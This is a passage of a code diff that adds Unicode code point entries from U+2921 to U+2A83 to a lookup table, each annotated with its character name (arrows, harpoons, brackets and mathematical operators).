+ [0x2921, 0x2921], /* NORTH WEST AND SOUTH EAST ARROW */
+ [0x2922, 0x2922], /* NORTH EAST AND SOUTH WEST ARROW */
+ [0x2923, 0x2923], /* NORTH WEST ARROW WITH HOOK */
+ [0x2924, 0x2924], /* NORTH EAST ARROW WITH HOOK */
+ [0x2925, 0x2925], /* SOUTH EAST ARROW WITH HOOK */
+ [0x2926, 0x2926], /* SOUTH WEST ARROW WITH HOOK */
+ [0x2927, 0x2927], /* NORTH WEST ARROW AND NORTH EAST ARROW */
+ [0x2928, 0x2928], /* NORTH EAST ARROW AND SOUTH EAST ARROW */
+ [0x2929, 0x2929], /* SOUTH EAST ARROW AND SOUTH WEST ARROW */
+ [0x292a, 0x292a], /* SOUTH WEST ARROW AND NORTH WEST ARROW */
+ [0x292b, 0x292b], /* RISING DIAGONAL CROSSING FALLING DIAGONAL */
+ [0x292c, 0x292c], /* FALLING DIAGONAL CROSSING RISING DIAGONAL */
+ [0x292d, 0x292d], /* SOUTH EAST ARROW CROSSING NORTH EAST ARROW */
+ [0x292e, 0x292e], /* NORTH EAST ARROW CROSSING SOUTH EAST ARROW */
+ [0x292f, 0x292f], /* FALLING DIAGONAL CROSSING NORTH EAST ARROW */
+ [0x2930, 0x2930], /* RISING DIAGONAL CROSSING SOUTH EAST ARROW */
+ [0x2931, 0x2931], /* NORTH EAST ARROW CROSSING NORTH WEST ARROW */
+ [0x2932, 0x2932], /* NORTH WEST ARROW CROSSING NORTH EAST ARROW */
+ [0x2933, 0x2933], /* WAVE ARROW POINTING DIRECTLY RIGHT */
+ [0x2934, 0x2934], /* ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS */
+ [0x2935, 0x2935], /* ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS */
+ [0x2936, 0x2936], /* ARROW POINTING DOWNWARDS THEN CURVING LEFTWARDS */
+ [0x2937, 0x2937], /* ARROW POINTING DOWNWARDS THEN CURVING RIGHTWARDS */
+ [0x2938, 0x2938], /* RIGHT-SIDE ARC CLOCKWISE ARROW */
+ [0x2939, 0x2939], /* LEFT-SIDE ARC ANTICLOCKWISE ARROW */
+ [0x293a, 0x293a], /* TOP ARC ANTICLOCKWISE ARROW */
+ [0x293b, 0x293b], /* BOTTOM ARC ANTICLOCKWISE ARROW */
+ [0x293c, 0x293c], /* TOP ARC CLOCKWISE ARROW WITH MINUS */
+ [0x293d, 0x293d], /* TOP ARC ANTICLOCKWISE ARROW WITH PLUS */
+ [0x293e, 0x293e], /* LOWER RIGHT SEMICIRCULAR CLOCKWISE ARROW */
+ [0x293f, 0x293f], /* LOWER LEFT SEMICIRCULAR ANTICLOCKWISE ARROW */
+ [0x2940, 0x2940], /* ANTICLOCKWISE CLOSED CIRCLE ARROW */
+ [0x2941, 0x2941], /* CLOCKWISE CLOSED CIRCLE ARROW */
+ [0x2942, 0x2942], /* RIGHTWARDS ARROW ABOVE SHORT LEFTWARDS ARROW */
+ [0x2943, 0x2943], /* LEFTWARDS ARROW ABOVE SHORT RIGHTWARDS ARROW */
+ [0x2944, 0x2944], /* SHORT RIGHTWARDS ARROW ABOVE LEFTWARDS ARROW */
+ [0x2945, 0x2945], /* RIGHTWARDS ARROW WITH PLUS BELOW */
+ [0x2946, 0x2946], /* LEFTWARDS ARROW WITH PLUS BELOW */
+ [0x2947, 0x2947], /* RIGHTWARDS ARROW THROUGH X */
+ [0x2948, 0x2948], /* LEFT RIGHT ARROW THROUGH SMALL CIRCLE */
+ [0x2949, 0x2949], /* UPWARDS TWO-HEADED ARROW FROM SMALL CIRCLE */
+ [0x294a, 0x294a], /* LEFT BARB UP RIGHT BARB DOWN HARPOON */
+ [0x294b, 0x294b], /* LEFT BARB DOWN RIGHT BARB UP HARPOON */
+ [0x294c, 0x294c], /* UP BARB RIGHT DOWN BARB LEFT HARPOON */
+ [0x294d, 0x294d], /* UP BARB LEFT DOWN BARB RIGHT HARPOON */
+ [0x294e, 0x294e], /* LEFT BARB UP RIGHT BARB UP HARPOON */
+ [0x294f, 0x294f], /* UP BARB RIGHT DOWN BARB RIGHT HARPOON */
+ [0x2950, 0x2950], /* LEFT BARB DOWN RIGHT BARB DOWN HARPOON */
+ [0x2951, 0x2951], /* UP BARB LEFT DOWN BARB LEFT HARPOON */
+ [0x2952, 0x2952], /* LEFTWARDS HARPOON WITH BARB UP TO BAR */
+ [0x2953, 0x2953], /* RIGHTWARDS HARPOON WITH BARB UP TO BAR */
+ [0x2954, 0x2954], /* UPWARDS HARPOON WITH BARB RIGHT TO BAR */
+ [0x2955, 0x2955], /* DOWNWARDS HARPOON WITH BARB RIGHT TO BAR */
+ [0x2956, 0x2956], /* LEFTWARDS HARPOON WITH BARB DOWN TO BAR */
+ [0x2957, 0x2957], /* RIGHTWARDS HARPOON WITH BARB DOWN TO BAR */
+ [0x2958, 0x2958], /* UPWARDS HARPOON WITH BARB LEFT TO BAR */
+ [0x2959, 0x2959], /* DOWNWARDS HARPOON WITH BARB LEFT TO BAR */
+ [0x295a, 0x295a], /* LEFTWARDS HARPOON WITH BARB UP FROM BAR */
+ [0x295b, 0x295b], /* RIGHTWARDS HARPOON WITH BARB UP FROM BAR */
+ [0x295c, 0x295c], /* UPWARDS HARPOON WITH BARB RIGHT FROM BAR */
+ [0x295d, 0x295d], /* DOWNWARDS HARPOON WITH BARB RIGHT FROM BAR */
+ [0x295e, 0x295e], /* LEFTWARDS HARPOON WITH BARB DOWN FROM BAR */
+ [0x295f, 0x295f], /* RIGHTWARDS HARPOON WITH BARB DOWN FROM BAR */
+ [0x2960, 0x2960], /* UPWARDS HARPOON WITH BARB LEFT FROM BAR */
+ [0x2961, 0x2961], /* DOWNWARDS HARPOON WITH BARB LEFT FROM BAR */
+ [0x2962, 0x2962], /* LEFTWARDS HARPOON WITH BARB UP ABOVE LEFTWARDS HARPOON WITH BARB DOWN */
+ [0x2963, 0x2963], /* UPWARDS HARPOON WITH BARB LEFT BESIDE UPWARDS HARPOON WITH BARB RIGHT */
+ [0x2964, 0x2964], /* RIGHTWARDS HARPOON WITH BARB UP ABOVE RIGHTWARDS HARPOON WITH BARB DOWN */
+ [0x2965, 0x2965], /* DOWNWARDS HARPOON WITH BARB LEFT BESIDE DOWNWARDS HARPOON WITH BARB RIGHT */
+ [0x2966, 0x2966], /* LEFTWARDS HARPOON WITH BARB UP ABOVE RIGHTWARDS HARPOON WITH BARB UP */
+ [0x2967, 0x2967], /* LEFTWARDS HARPOON WITH BARB DOWN ABOVE RIGHTWARDS HARPOON WITH BARB DOWN */
+ [0x2968, 0x2968], /* RIGHTWARDS HARPOON WITH BARB UP ABOVE LEFTWARDS HARPOON WITH BARB UP */
+ [0x2969, 0x2969], /* RIGHTWARDS HARPOON WITH BARB DOWN ABOVE LEFTWARDS HARPOON WITH BARB DOWN */
+ [0x296a, 0x296a], /* LEFTWARDS HARPOON WITH BARB UP ABOVE LONG DASH */
+ [0x296b, 0x296b], /* LEFTWARDS HARPOON WITH BARB DOWN BELOW LONG DASH */
+ [0x296c, 0x296c], /* RIGHTWARDS HARPOON WITH BARB UP ABOVE LONG DASH */
+ [0x296d, 0x296d], /* RIGHTWARDS HARPOON WITH BARB DOWN BELOW LONG DASH */
+ [0x296e, 0x296e], /* UPWARDS HARPOON WITH BARB LEFT BESIDE DOWNWARDS HARPOON WITH BARB RIGHT */
+ [0x296f, 0x296f], /* DOWNWARDS HARPOON WITH BARB LEFT BESIDE UPWARDS HARPOON WITH BARB RIGHT */
+ [0x2970, 0x2970], /* RIGHT DOUBLE ARROW WITH ROUNDED HEAD */
+ [0x2971, 0x2971], /* EQUALS SIGN ABOVE RIGHTWARDS ARROW */
+ [0x2972, 0x2972], /* TILDE OPERATOR ABOVE RIGHTWARDS ARROW */
+ [0x2973, 0x2973], /* LEFTWARDS ARROW ABOVE TILDE OPERATOR */
+ [0x2974, 0x2974], /* RIGHTWARDS ARROW ABOVE TILDE OPERATOR */
+ [0x2975, 0x2975], /* RIGHTWARDS ARROW ABOVE ALMOST EQUAL TO */
+ [0x2976, 0x2976], /* LESS-THAN ABOVE LEFTWARDS ARROW */
+ [0x2977, 0x2977], /* LEFTWARDS ARROW THROUGH LESS-THAN */
+ [0x2978, 0x2978], /* GREATER-THAN ABOVE RIGHTWARDS ARROW */
+ [0x2979, 0x2979], /* SUBSET ABOVE RIGHTWARDS ARROW */
+ [0x297a, 0x297a], /* LEFTWARDS ARROW THROUGH SUBSET */
+ [0x297b, 0x297b], /* SUPERSET ABOVE LEFTWARDS ARROW */
+ [0x297c, 0x297c], /* LEFT FISH TAIL */
+ [0x297d, 0x297d], /* RIGHT FISH TAIL */
+ [0x297e, 0x297e], /* UP FISH TAIL */
+ [0x297f, 0x297f], /* DOWN FISH TAIL */
+ [0x2980, 0x2980], /* TRIPLE VERTICAL BAR DELIMITER */
+ [0x2981, 0x2981], /* Z NOTATION SPOT */
+ [0x2982, 0x2982], /* Z NOTATION TYPE COLON */
+ [0x2983, 0x2983], /* LEFT WHITE CURLY BRACKET */
+ [0x2984, 0x2984], /* RIGHT WHITE CURLY BRACKET */
+ [0x2985, 0x2985], /* LEFT WHITE PARENTHESIS */
+ [0x2986, 0x2986], /* RIGHT WHITE PARENTHESIS */
+ [0x2987, 0x2987], /* Z NOTATION LEFT IMAGE BRACKET */
+ [0x2988, 0x2988], /* Z NOTATION RIGHT IMAGE BRACKET */
+ [0x2989, 0x2989], /* Z NOTATION LEFT BINDING BRACKET */
+ [0x298a, 0x298a], /* Z NOTATION RIGHT BINDING BRACKET */
+ [0x298b, 0x298b], /* LEFT SQUARE BRACKET WITH UNDERBAR */
+ [0x298c, 0x298c], /* RIGHT SQUARE BRACKET WITH UNDERBAR */
+ [0x298d, 0x298d], /* LEFT SQUARE BRACKET WITH TICK IN TOP CORNER */
+ [0x298e, 0x298e], /* RIGHT SQUARE BRACKET WITH TICK IN BOTTOM CORNER */
+ [0x298f, 0x298f], /* LEFT SQUARE BRACKET WITH TICK IN BOTTOM CORNER */
+ [0x2990, 0x2990], /* RIGHT SQUARE BRACKET WITH TICK IN TOP CORNER */
+ [0x2991, 0x2991], /* LEFT ANGLE BRACKET WITH DOT */
+ [0x2992, 0x2992], /* RIGHT ANGLE BRACKET WITH DOT */
+ [0x2993, 0x2993], /* LEFT ARC LESS-THAN BRACKET */
+ [0x2994, 0x2994], /* RIGHT ARC GREATER-THAN BRACKET */
+ [0x2995, 0x2995], /* DOUBLE LEFT ARC GREATER-THAN BRACKET */
+ [0x2996, 0x2996], /* DOUBLE RIGHT ARC LESS-THAN BRACKET */
+ [0x2997, 0x2997], /* LEFT BLACK TORTOISE SHELL BRACKET */
+ [0x2998, 0x2998], /* RIGHT BLACK TORTOISE SHELL BRACKET */
+ [0x2999, 0x2999], /* DOTTED FENCE */
+ [0x299a, 0x299a], /* VERTICAL ZIGZAG LINE */
+ [0x299b, 0x299b], /* MEASURED ANGLE OPENING LEFT */
+ [0x299c, 0x299c], /* RIGHT ANGLE VARIANT WITH SQUARE */
+ [0x299d, 0x299d], /* MEASURED RIGHT ANGLE WITH DOT */
+ [0x299e, 0x299e], /* ANGLE WITH S INSIDE */
+ [0x299f, 0x299f], /* ACUTE ANGLE */
+ [0x29a0, 0x29a0], /* SPHERICAL ANGLE OPENING LEFT */
+ [0x29a1, 0x29a1], /* SPHERICAL ANGLE OPENING UP */
+ [0x29a2, 0x29a2], /* TURNED ANGLE */
+ [0x29a3, 0x29a3], /* REVERSED ANGLE */
+ [0x29a4, 0x29a4], /* ANGLE WITH UNDERBAR */
+ [0x29a5, 0x29a5], /* REVERSED ANGLE WITH UNDERBAR */
+ [0x29a6, 0x29a6], /* OBLIQUE ANGLE OPENING UP */
+ [0x29a7, 0x29a7], /* OBLIQUE ANGLE OPENING DOWN */
+ [0x29a8, 0x29a8], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING UP AND RIGHT */
+ [0x29a9, 0x29a9], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING UP AND LEFT */
+ [0x29aa, 0x29aa], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING DOWN AND RIGHT */
+ [0x29ab, 0x29ab], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING DOWN AND LEFT */
+ [0x29ac, 0x29ac], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING RIGHT AND UP */
+ [0x29ad, 0x29ad], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING LEFT AND UP */
+ [0x29ae, 0x29ae], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING RIGHT AND DOWN */
+ [0x29af, 0x29af], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING LEFT AND DOWN */
+ [0x29b0, 0x29b0], /* REVERSED EMPTY SET */
+ [0x29b1, 0x29b1], /* EMPTY SET WITH OVERBAR */
+ [0x29b2, 0x29b2], /* EMPTY SET WITH SMALL CIRCLE ABOVE */
+ [0x29b3, 0x29b3], /* EMPTY SET WITH RIGHT ARROW ABOVE */
+ [0x29b4, 0x29b4], /* EMPTY SET WITH LEFT ARROW ABOVE */
+ [0x29b5, 0x29b5], /* CIRCLE WITH HORIZONTAL BAR */
+ [0x29b6, 0x29b6], /* CIRCLED VERTICAL BAR */
+ [0x29b7, 0x29b7], /* CIRCLED PARALLEL */
+ [0x29b8, 0x29b8], /* CIRCLED REVERSE SOLIDUS */
+ [0x29b9, 0x29b9], /* CIRCLED PERPENDICULAR */
+ [0x29ba, 0x29ba], /* CIRCLE DIVIDED BY HORIZONTAL BAR AND TOP HALF DIVIDED BY VERTICAL BAR */
+ [0x29bb, 0x29bb], /* CIRCLE WITH SUPERIMPOSED X */
+ [0x29bc, 0x29bc], /* CIRCLED ANTICLOCKWISE-ROTATED DIVISION SIGN */
+ [0x29bd, 0x29bd], /* UP ARROW THROUGH CIRCLE */
+ [0x29be, 0x29be], /* CIRCLED WHITE BULLET */
+ [0x29bf, 0x29bf], /* CIRCLED BULLET */
+ [0x29c0, 0x29c0], /* CIRCLED LESS-THAN */
+ [0x29c1, 0x29c1], /* CIRCLED GREATER-THAN */
+ [0x29c2, 0x29c2], /* CIRCLE WITH SMALL CIRCLE TO THE RIGHT */
+ [0x29c3, 0x29c3], /* CIRCLE WITH TWO HORIZONTAL STROKES TO THE RIGHT */
+ [0x29c4, 0x29c4], /* SQUARED RISING DIAGONAL SLASH */
+ [0x29c5, 0x29c5], /* SQUARED FALLING DIAGONAL SLASH */
+ [0x29c6, 0x29c6], /* SQUARED ASTERISK */
+ [0x29c7, 0x29c7], /* SQUARED SMALL CIRCLE */
+ [0x29c8, 0x29c8], /* SQUARED SQUARE */
+ [0x29c9, 0x29c9], /* TWO JOINED SQUARES */
+ [0x29ca, 0x29ca], /* TRIANGLE WITH DOT ABOVE */
+ [0x29cb, 0x29cb], /* TRIANGLE WITH UNDERBAR */
+ [0x29cc, 0x29cc], /* S IN TRIANGLE */
+ [0x29cd, 0x29cd], /* TRIANGLE WITH SERIFS AT BOTTOM */
+ [0x29ce, 0x29ce], /* RIGHT TRIANGLE ABOVE LEFT TRIANGLE */
+ [0x29cf, 0x29cf], /* LEFT TRIANGLE BESIDE VERTICAL BAR */
+ [0x29d0, 0x29d0], /* VERTICAL BAR BESIDE RIGHT TRIANGLE */
+ [0x29d1, 0x29d1], /* BOWTIE WITH LEFT HALF BLACK */
+ [0x29d2, 0x29d2], /* BOWTIE WITH RIGHT HALF BLACK */
+ [0x29d3, 0x29d3], /* BLACK BOWTIE */
+ [0x29d4, 0x29d4], /* TIMES WITH LEFT HALF BLACK */
+ [0x29d5, 0x29d5], /* TIMES WITH RIGHT HALF BLACK */
+ [0x29d6, 0x29d6], /* WHITE HOURGLASS */
+ [0x29d7, 0x29d7], /* BLACK HOURGLASS */
+ [0x29d8, 0x29d8], /* LEFT WIGGLY FENCE */
+ [0x29d9, 0x29d9], /* RIGHT WIGGLY FENCE */
+ [0x29da, 0x29da], /* LEFT DOUBLE WIGGLY FENCE */
+ [0x29db, 0x29db], /* RIGHT DOUBLE WIGGLY FENCE */
+ [0x29dc, 0x29dc], /* INCOMPLETE INFINITY */
+ [0x29dd, 0x29dd], /* TIE OVER INFINITY */
+ [0x29de, 0x29de], /* INFINITY NEGATED WITH VERTICAL BAR */
+ [0x29df, 0x29df], /* DOUBLE-ENDED MULTIMAP */
+ [0x29e0, 0x29e0], /* SQUARE WITH CONTOURED OUTLINE */
+ [0x29e1, 0x29e1], /* INCREASES AS */
+ [0x29e2, 0x29e2], /* SHUFFLE PRODUCT */
+ [0x29e3, 0x29e3], /* EQUALS SIGN AND SLANTED PARALLEL */
+ [0x29e4, 0x29e4], /* EQUALS SIGN AND SLANTED PARALLEL WITH TILDE ABOVE */
+ [0x29e5, 0x29e5], /* IDENTICAL TO AND SLANTED PARALLEL */
+ [0x29e6, 0x29e6], /* GLEICH STARK */
+ [0x29e7, 0x29e7], /* THERMODYNAMIC */
+ [0x29e8, 0x29e8], /* DOWN-POINTING TRIANGLE WITH LEFT HALF BLACK */
+ [0x29e9, 0x29e9], /* DOWN-POINTING TRIANGLE WITH RIGHT HALF BLACK */
+ [0x29ea, 0x29ea], /* BLACK DIAMOND WITH DOWN ARROW */
+ [0x29eb, 0x29eb], /* BLACK LOZENGE */
+ [0x29ec, 0x29ec], /* WHITE CIRCLE WITH DOWN ARROW */
+ [0x29ed, 0x29ed], /* BLACK CIRCLE WITH DOWN ARROW */
+ [0x29ee, 0x29ee], /* ERROR-BARRED WHITE SQUARE */
+ [0x29ef, 0x29ef], /* ERROR-BARRED BLACK SQUARE */
+ [0x29f0, 0x29f0], /* ERROR-BARRED WHITE DIAMOND */
+ [0x29f1, 0x29f1], /* ERROR-BARRED BLACK DIAMOND */
+ [0x29f2, 0x29f2], /* ERROR-BARRED WHITE CIRCLE */
+ [0x29f3, 0x29f3], /* ERROR-BARRED BLACK CIRCLE */
+ [0x29f4, 0x29f4], /* RULE-DELAYED */
+ [0x29f5, 0x29f5], /* REVERSE SOLIDUS OPERATOR */
+ [0x29f6, 0x29f6], /* SOLIDUS WITH OVERBAR */
+ [0x29f7, 0x29f7], /* REVERSE SOLIDUS WITH HORIZONTAL STROKE */
+ [0x29f8, 0x29f8], /* BIG SOLIDUS */
+ [0x29f9, 0x29f9], /* BIG REVERSE SOLIDUS */
+ [0x29fa, 0x29fa], /* DOUBLE PLUS */
+ [0x29fb, 0x29fb], /* TRIPLE PLUS */
+ [0x29fc, 0x29fc], /* LEFT-POINTING CURVED ANGLE BRACKET */
+ [0x29fd, 0x29fd], /* RIGHT-POINTING CURVED ANGLE BRACKET */
+ [0x29fe, 0x29fe], /* TINY */
+ [0x29ff, 0x29ff], /* MINY */
+ [0x2a00, 0x2a00], /* N-ARY CIRCLED DOT OPERATOR */
+ [0x2a01, 0x2a01], /* N-ARY CIRCLED PLUS OPERATOR */
+ [0x2a02, 0x2a02], /* N-ARY CIRCLED TIMES OPERATOR */
+ [0x2a03, 0x2a03], /* N-ARY UNION OPERATOR WITH DOT */
+ [0x2a04, 0x2a04], /* N-ARY UNION OPERATOR WITH PLUS */
+ [0x2a05, 0x2a05], /* N-ARY SQUARE INTERSECTION OPERATOR */
+ [0x2a06, 0x2a06], /* N-ARY SQUARE UNION OPERATOR */
+ [0x2a07, 0x2a07], /* TWO LOGICAL AND OPERATOR */
+ [0x2a08, 0x2a08], /* TWO LOGICAL OR OPERATOR */
+ [0x2a09, 0x2a09], /* N-ARY TIMES OPERATOR */
+ [0x2a0a, 0x2a0a], /* MODULO TWO SUM */
+ [0x2a0b, 0x2a0b], /* SUMMATION WITH INTEGRAL */
+ [0x2a0c, 0x2a0c], /* QUADRUPLE INTEGRAL OPERATOR */
+ [0x2a0d, 0x2a0d], /* FINITE PART INTEGRAL */
+ [0x2a0e, 0x2a0e], /* INTEGRAL WITH DOUBLE STROKE */
+ [0x2a0f, 0x2a0f], /* INTEGRAL AVERAGE WITH SLASH */
+ [0x2a10, 0x2a10], /* CIRCULATION FUNCTION */
+ [0x2a11, 0x2a11], /* ANTICLOCKWISE INTEGRATION */
+ [0x2a12, 0x2a12], /* LINE INTEGRATION WITH RECTANGULAR PATH AROUND POLE */
+ [0x2a13, 0x2a13], /* LINE INTEGRATION WITH SEMICIRCULAR PATH AROUND POLE */
+ [0x2a14, 0x2a14], /* LINE INTEGRATION NOT INCLUDING THE POLE */
+ [0x2a15, 0x2a15], /* INTEGRAL AROUND A POINT OPERATOR */
+ [0x2a16, 0x2a16], /* QUATERNION INTEGRAL OPERATOR */
+ [0x2a17, 0x2a17], /* INTEGRAL WITH LEFTWARDS ARROW WITH HOOK */
+ [0x2a18, 0x2a18], /* INTEGRAL WITH TIMES SIGN */
+ [0x2a19, 0x2a19], /* INTEGRAL WITH INTERSECTION */
+ [0x2a1a, 0x2a1a], /* INTEGRAL WITH UNION */
+ [0x2a1b, 0x2a1b], /* INTEGRAL WITH OVERBAR */
+ [0x2a1c, 0x2a1c], /* INTEGRAL WITH UNDERBAR */
+ [0x2a1d, 0x2a1d], /* JOIN */
+ [0x2a1e, 0x2a1e], /* LARGE LEFT TRIANGLE OPERATOR */
+ [0x2a1f, 0x2a1f], /* Z NOTATION SCHEMA COMPOSITION */
+ [0x2a20, 0x2a20], /* Z NOTATION SCHEMA PIPING */
+ [0x2a21, 0x2a21], /* Z NOTATION SCHEMA PROJECTION */
+ [0x2a22, 0x2a22], /* PLUS SIGN WITH SMALL CIRCLE ABOVE */
+ [0x2a23, 0x2a23], /* PLUS SIGN WITH CIRCUMFLEX ACCENT ABOVE */
+ [0x2a24, 0x2a24], /* PLUS SIGN WITH TILDE ABOVE */
+ [0x2a25, 0x2a25], /* PLUS SIGN WITH DOT BELOW */
+ [0x2a26, 0x2a26], /* PLUS SIGN WITH TILDE BELOW */
+ [0x2a27, 0x2a27], /* PLUS SIGN WITH SUBSCRIPT TWO */
+ [0x2a28, 0x2a28], /* PLUS SIGN WITH BLACK TRIANGLE */
+ [0x2a29, 0x2a29], /* MINUS SIGN WITH COMMA ABOVE */
+ [0x2a2a, 0x2a2a], /* MINUS SIGN WITH DOT BELOW */
+ [0x2a2b, 0x2a2b], /* MINUS SIGN WITH FALLING DOTS */
+ [0x2a2c, 0x2a2c], /* MINUS SIGN WITH RISING DOTS */
+ [0x2a2d, 0x2a2d], /* PLUS SIGN IN LEFT HALF CIRCLE */
+ [0x2a2e, 0x2a2e], /* PLUS SIGN IN RIGHT HALF CIRCLE */
+ [0x2a2f, 0x2a2f], /* VECTOR OR CROSS PRODUCT */
+ [0x2a30, 0x2a30], /* MULTIPLICATION SIGN WITH DOT ABOVE */
+ [0x2a31, 0x2a31], /* MULTIPLICATION SIGN WITH UNDERBAR */
+ [0x2a32, 0x2a32], /* SEMIDIRECT PRODUCT WITH BOTTOM CLOSED */
+ [0x2a33, 0x2a33], /* SMASH PRODUCT */
+ [0x2a34, 0x2a34], /* MULTIPLICATION SIGN IN LEFT HALF CIRCLE */
+ [0x2a35, 0x2a35], /* MULTIPLICATION SIGN IN RIGHT HALF CIRCLE */
+ [0x2a36, 0x2a36], /* CIRCLED MULTIPLICATION SIGN WITH CIRCUMFLEX ACCENT */
+ [0x2a37, 0x2a37], /* MULTIPLICATION SIGN IN DOUBLE CIRCLE */
+ [0x2a38, 0x2a38], /* CIRCLED DIVISION SIGN */
+ [0x2a39, 0x2a39], /* PLUS SIGN IN TRIANGLE */
+ [0x2a3a, 0x2a3a], /* MINUS SIGN IN TRIANGLE */
+ [0x2a3b, 0x2a3b], /* MULTIPLICATION SIGN IN TRIANGLE */
+ [0x2a3c, 0x2a3c], /* INTERIOR PRODUCT */
+ [0x2a3d, 0x2a3d], /* RIGHTHAND INTERIOR PRODUCT */
+ [0x2a3e, 0x2a3e], /* Z NOTATION RELATIONAL COMPOSITION */
+ [0x2a3f, 0x2a3f], /* AMALGAMATION OR COPRODUCT */
+ [0x2a40, 0x2a40], /* INTERSECTION WITH DOT */
+ [0x2a41, 0x2a41], /* UNION WITH MINUS SIGN */
+ [0x2a42, 0x2a42], /* UNION WITH OVERBAR */
+ [0x2a43, 0x2a43], /* INTERSECTION WITH OVERBAR */
+ [0x2a44, 0x2a44], /* INTERSECTION WITH LOGICAL AND */
+ [0x2a45, 0x2a45], /* UNION WITH LOGICAL OR */
+ [0x2a46, 0x2a46], /* UNION ABOVE INTERSECTION */
+ [0x2a47, 0x2a47], /* INTERSECTION ABOVE UNION */
+ [0x2a48, 0x2a48], /* UNION ABOVE BAR ABOVE INTERSECTION */
+ [0x2a49, 0x2a49], /* INTERSECTION ABOVE BAR ABOVE UNION */
+ [0x2a4a, 0x2a4a], /* UNION BESIDE AND JOINED WITH UNION */
+ [0x2a4b, 0x2a4b], /* INTERSECTION BESIDE AND JOINED WITH INTERSECTION */
+ [0x2a4c, 0x2a4c], /* CLOSED UNION WITH SERIFS */
+ [0x2a4d, 0x2a4d], /* CLOSED INTERSECTION WITH SERIFS */
+ [0x2a4e, 0x2a4e], /* DOUBLE SQUARE INTERSECTION */
+ [0x2a4f, 0x2a4f], /* DOUBLE SQUARE UNION */
+ [0x2a50, 0x2a50], /* CLOSED UNION WITH SERIFS AND SMASH PRODUCT */
+ [0x2a51, 0x2a51], /* LOGICAL AND WITH DOT ABOVE */
+ [0x2a52, 0x2a52], /* LOGICAL OR WITH DOT ABOVE */
+ [0x2a53, 0x2a53], /* DOUBLE LOGICAL AND */
+ [0x2a54, 0x2a54], /* DOUBLE LOGICAL OR */
+ [0x2a55, 0x2a55], /* TWO INTERSECTING LOGICAL AND */
+ [0x2a56, 0x2a56], /* TWO INTERSECTING LOGICAL OR */
+ [0x2a57, 0x2a57], /* SLOPING LARGE OR */
+ [0x2a58, 0x2a58], /* SLOPING LARGE AND */
+ [0x2a59, 0x2a59], /* LOGICAL OR OVERLAPPING LOGICAL AND */
+ [0x2a5a, 0x2a5a], /* LOGICAL AND WITH MIDDLE STEM */
+ [0x2a5b, 0x2a5b], /* LOGICAL OR WITH MIDDLE STEM */
+ [0x2a5c, 0x2a5c], /* LOGICAL AND WITH HORIZONTAL DASH */
+ [0x2a5d, 0x2a5d], /* LOGICAL OR WITH HORIZONTAL DASH */
+ [0x2a5e, 0x2a5e], /* LOGICAL AND WITH DOUBLE OVERBAR */
+ [0x2a5f, 0x2a5f], /* LOGICAL AND WITH UNDERBAR */
+ [0x2a60, 0x2a60], /* LOGICAL AND WITH DOUBLE UNDERBAR */
+ [0x2a61, 0x2a61], /* SMALL VEE WITH UNDERBAR */
+ [0x2a62, 0x2a62], /* LOGICAL OR WITH DOUBLE OVERBAR */
+ [0x2a63, 0x2a63], /* LOGICAL OR WITH DOUBLE UNDERBAR */
+ [0x2a64, 0x2a64], /* Z NOTATION DOMAIN ANTIRESTRICTION */
+ [0x2a65, 0x2a65], /* Z NOTATION RANGE ANTIRESTRICTION */
+ [0x2a66, 0x2a66], /* EQUALS SIGN WITH DOT BELOW */
+ [0x2a67, 0x2a67], /* IDENTICAL WITH DOT ABOVE */
+ [0x2a68, 0x2a68], /* TRIPLE HORIZONTAL BAR WITH DOUBLE VERTICAL STROKE */
+ [0x2a69, 0x2a69], /* TRIPLE HORIZONTAL BAR WITH TRIPLE VERTICAL STROKE */
+ [0x2a6a, 0x2a6a], /* TILDE OPERATOR WITH DOT ABOVE */
+ [0x2a6b, 0x2a6b], /* TILDE OPERATOR WITH RISING DOTS */
+ [0x2a6c, 0x2a6c], /* SIMILAR MINUS SIMILAR */
+ [0x2a6d, 0x2a6d], /* CONGRUENT WITH DOT ABOVE */
+ [0x2a6e, 0x2a6e], /* EQUALS WITH ASTERISK */
+ [0x2a6f, 0x2a6f], /* ALMOST EQUAL TO WITH CIRCUMFLEX ACCENT */
+ [0x2a70, 0x2a70], /* APPROXIMATELY EQUAL OR EQUAL TO */
+ [0x2a71, 0x2a71], /* EQUALS SIGN ABOVE PLUS SIGN */
+ [0x2a72, 0x2a72], /* PLUS SIGN ABOVE EQUALS SIGN */
+ [0x2a73, 0x2a73], /* EQUALS SIGN ABOVE TILDE OPERATOR */
+ [0x2a74, 0x2a74], /* DOUBLE COLON EQUAL */
+ [0x2a75, 0x2a75], /* TWO CONSECUTIVE EQUALS SIGNS */
+ [0x2a76, 0x2a76], /* THREE CONSECUTIVE EQUALS SIGNS */
+ [0x2a77, 0x2a77], /* EQUALS SIGN WITH TWO DOTS ABOVE AND TWO DOTS BELOW */
+ [0x2a78, 0x2a78], /* EQUIVALENT WITH FOUR DOTS ABOVE */
+ [0x2a79, 0x2a79], /* LESS-THAN WITH CIRCLE INSIDE */
+ [0x2a7a, 0x2a7a], /* GREATER-THAN WITH CIRCLE INSIDE */
+ [0x2a7b, 0x2a7b], /* LESS-THAN WITH QUESTION MARK ABOVE */
+ [0x2a7c, 0x2a7c], /* GREATER-THAN WITH QUESTION MARK ABOVE */
+ [0x2a7d, 0x2a7d], /* LESS-THAN OR SLANTED EQUAL TO */
+ [0x2a7e, 0x2a7e], /* GREATER-THAN OR SLANTED EQUAL TO */
+ [0x2a7f, 0x2a7f], /* LESS-THAN OR SLANTED EQUAL TO WITH DOT INSIDE */
+ [0x2a80, 0x2a80], /* GREATER-THAN OR SLANTED EQUAL TO WITH DOT INSIDE */
+ [0x2a81, 0x2a81], /* LESS-THAN OR SLANTED EQUAL TO WITH DOT ABOVE */
+ [0x2a82, 0x2a82], /* GREATER-THAN OR SLANTED EQUAL TO WITH DOT ABOVE */
+ [0x2a83, 0x2a83], /* LESS-THAN OR SLANTED EQUAL TO WITH DOT ABOVE RIGHT */
